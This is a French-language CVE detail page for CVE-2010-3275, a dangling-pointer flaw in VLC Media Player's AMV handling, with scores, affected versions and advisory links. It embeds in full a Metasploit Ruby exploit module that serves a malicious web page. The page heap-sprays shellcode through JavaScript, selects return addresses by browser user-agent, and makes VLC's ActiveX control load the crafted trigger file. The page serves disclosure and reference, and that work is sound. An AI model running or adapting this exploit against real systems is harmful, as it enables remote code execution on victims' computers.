CVE-2010-3275 : Détail

CVE-2010-3275

Overflow
90.1%V3
Network
2011-03-28
14h00 +00:00
2018-10-10
16h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

libdirectx_plugin.dll in VideoLAN VLC Media Player before 1.1.8 allows remote attackers to execute arbitrary code via a crafted width in an AMV file, related to a "dangling pointer vulnerability."

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 17048

Date de publication : 2011-03-25 23h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # $Id: vlc_amv.rb 12140 2011-03-26 00:07:36Z sinn3r $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info={}) super(update_info(info, 'Name' => "VLC AMV Dangling Pointer Vulnerability", 'Description' => %q{ This module exploits VLC media player when handling a .AMV file. By flipping the 0x41st byte in the file format (video width/height), VLC crashes due to an invalid pointer, which allows remote attackers to gain arbitrary code execution. The vulnerable packages include: VLC 1.1.4 VLC 1.1.5 VLC 1.1.6 VLC 1.1.7 }, 'License' => MSF_LICENSE, 'Version' => "$Revision: 12140 $", 'Author' => [ 'sinn3r', ], 'References' => [ ['CVE', 'CVE-2010-3275'], ['URL', 'http://www.coresecurity.com/content/vlc-vulnerabilities-amv-nsv-files'], ], 'Payload' => { 'BadChars' => "\x00", 'space' => 1000, 'StackAdjustment' => -3500, }, 'DefaultOptions' => { 'ExitFunction' => "process", 'InitialAutoRunScript' => 'migrate -f', }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', {} ], [ 'Windows XP SP3 IE6', {'Ret'=>0x0c0c0c0c} ], [ 'Windows XP SP3 IE7', {'Ret'=>0x1c1c1c1c} ], ], 'DisclosureDate' => "Mar 23 2011", 'DefaultTarget' => 0)) end def getRet(cli, request) if target.name == 'Automatic' agent = request.headers['User-Agent'] case agent when /MSIE 6\.0/ return [0x0c0c0c0c].pack('V') * 8 when /MSIE 7\.0/ return [0x1c1c1c1c].pack('V') * 8 when /^vlc/ #VLC identifies itself as "VLC" when requesting our trigger file return "" when /^NSPlayer/ #NSPlayer is also used while requesting the trigger file return "" else return nil end else #User manually specified a target return [target.ret].pack('V') * 8 end end def exploit path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2010-3275.amv") f = File.open(path, "rb") @trigger = f.read f.close super end def on_request_uri(cli, request) #Determine if client is a potential victim either manually or automatically, #and then return the appropriate EIP nops = getRet(cli, request) if nops == nil send_not_found(cli) return end if request.uri.match(/\.amv/) print_status("Sending trigger file to #{cli.peerhost}:#{cli.peerport}") send_response(cli, @trigger, { 'Content-Type' => 'text/plain' } ) return end nopsled = Rex::Text.to_unescape(nops, Rex::Arch.endian(target.arch)) shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) js_func_name = rand_text_alpha(rand(6) + 3) js_var_blocks_name = rand_text_alpha(rand(6) + 3) js_var_shell_name = rand_text_alpha(rand(6) + 3) js_var_nopsled_name = rand_text_alpha(rand(6) + 3) js_var_index_name = rand_text_alpha(rand(6) + 3) trigger_file = datastore['URIPATH'] + "/" + rand_text_alpha(rand(6) + 3) + ".amv" html = <<-EOS <html> <head> <script> function #{js_func_name}() { var #{js_var_blocks_name} = new Array(); var #{js_var_shell_name} = unescape("#{shellcode}"); var #{js_var_nopsled_name} = unescape("#{nopsled}"); do { #{js_var_nopsled_name} += #{js_var_nopsled_name} } while (#{js_var_nopsled_name}.length < 82000); for (#{js_var_index_name}=0; #{js_var_index_name} < 3500; #{js_var_index_name}++) { #{js_var_blocks_name}[#{js_var_index_name}] = #{js_var_nopsled_name} + #{js_var_shell_name}; } } #{js_func_name}(); </script> </head> <body> <object classid="clsid:9BE31822-FDAD-461B-AD51-BE1D1C159921" codebase="http://downloads.videolan.org/pub/videolan/vlc/latest/win32/axvlc.cab" width="0" height="0" events="True"> <param name="Src" value="#{trigger_file}"></param> <param name="ShowDisplay" value="False" ></param> <param name="AutoLoop" value="no"></param> <param name="AutoPlay" value="yes"></param> </object> </body> </html> EOS #Remove extra tabs in HTML html = html.gsub(/^\t\t/, "") print_status("Sending malicious page to #{cli.peerhost}:#{cli.peerport}...") send_response( cli, html, {'Content-Type' => 'text/html'} ) end end

Products Mentioned

Configuraton 0

Videolan>>Vlc_media_player >> Version To (including) 1.1.7

Videolan>>Vlc_media_player >> Version 0.1.99b

Videolan>>Vlc_media_player >> Version 0.1.99e

Videolan>>Vlc_media_player >> Version 0.1.99f

Videolan>>Vlc_media_player >> Version 0.1.99g

Videolan>>Vlc_media_player >> Version 0.1.99h

Videolan>>Vlc_media_player >> Version 0.1.99i

Videolan>>Vlc_media_player >> Version 0.2.0

Videolan>>Vlc_media_player >> Version 0.2.60

Videolan>>Vlc_media_player >> Version 0.2.61

Videolan>>Vlc_media_player >> Version 0.2.62

Videolan>>Vlc_media_player >> Version 0.2.63

Videolan>>Vlc_media_player >> Version 0.2.70

Videolan>>Vlc_media_player >> Version 0.2.71

Videolan>>Vlc_media_player >> Version 0.2.72

Videolan>>Vlc_media_player >> Version 0.2.73

Videolan>>Vlc_media_player >> Version 0.2.80

Videolan>>Vlc_media_player >> Version 0.2.81

Videolan>>Vlc_media_player >> Version 0.2.82

Videolan>>Vlc_media_player >> Version 0.2.83

Videolan>>Vlc_media_player >> Version 0.2.90

Videolan>>Vlc_media_player >> Version 0.2.91

Videolan>>Vlc_media_player >> Version 0.2.92

Videolan>>Vlc_media_player >> Version 0.3.0

Videolan>>Vlc_media_player >> Version 0.3.1

Videolan>>Vlc_media_player >> Version 0.4.0

Videolan>>Vlc_media_player >> Version 0.4.1

Videolan>>Vlc_media_player >> Version 0.4.2

Videolan>>Vlc_media_player >> Version 0.4.3

Videolan>>Vlc_media_player >> Version 0.4.4

Videolan>>Vlc_media_player >> Version 0.4.5

Videolan>>Vlc_media_player >> Version 0.4.6

Videolan>>Vlc_media_player >> Version 0.5.0

Videolan>>Vlc_media_player >> Version 0.5.1

Videolan>>Vlc_media_player >> Version 0.5.2

Videolan>>Vlc_media_player >> Version 0.5.3

Videolan>>Vlc_media_player >> Version 0.6.0

Videolan>>Vlc_media_player >> Version 0.6.1

Videolan>>Vlc_media_player >> Version 0.6.2

Videolan>>Vlc_media_player >> Version 0.7.0

Videolan>>Vlc_media_player >> Version 0.7.2

Videolan>>Vlc_media_player >> Version 0.8.0

Videolan>>Vlc_media_player >> Version 0.8.1

Videolan>>Vlc_media_player >> Version 0.8.2

Videolan>>Vlc_media_player >> Version 0.8.4

Videolan>>Vlc_media_player >> Version 0.8.5

Videolan>>Vlc_media_player >> Version 0.8.6

Videolan>>Vlc_media_player >> Version 0.9.2

Videolan>>Vlc_media_player >> Version 0.9.3

Videolan>>Vlc_media_player >> Version 0.9.4

Videolan>>Vlc_media_player >> Version 0.9.5

Videolan>>Vlc_media_player >> Version 0.9.6

Videolan>>Vlc_media_player >> Version 0.9.8a

Videolan>>Vlc_media_player >> Version 0.9.9

Videolan>>Vlc_media_player >> Version 0.9.10

Videolan>>Vlc_media_player >> Version 1.0.0

Videolan>>Vlc_media_player >> Version 1.0.1

Videolan>>Vlc_media_player >> Version 1.0.2

Videolan>>Vlc_media_player >> Version 1.0.3

Videolan>>Vlc_media_player >> Version 1.0.4

Videolan>>Vlc_media_player >> Version 1.0.5

Videolan>>Vlc_media_player >> Version 1.0.6

Videolan>>Vlc_media_player >> Version 1.1.0

Videolan>>Vlc_media_player >> Version 1.1.1

Videolan>>Vlc_media_player >> Version 1.1.2

Videolan>>Vlc_media_player >> Version 1.1.3

Videolan>>Vlc_media_player >> Version 1.1.4

Videolan>>Vlc_media_player >> Version 1.1.5

Videolan>>Vlc_media_player >> Version 1.1.6

Videolan>>Vlc_media_player >> Version 1.1.6.1

Références

http://securitytracker.com/id?1025250
Tags : vdb-entry, x_refsource_SECTRACK
http://www.vupen.com/english/advisories/2011/0759
Tags : vdb-entry, x_refsource_VUPEN
http://secunia.com/advisories/43826
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.debian.org/security/2011/dsa-2211
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.exploit-db.com/exploits/17048
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.osvdb.org/71277
Tags : vdb-entry, x_refsource_OSVDB
http://securityreason.com/securityalert/8162
Tags : third-party-advisory, x_refsource_SREASON
http://www.securityfocus.com/bid/47012
Tags : vdb-entry, x_refsource_BID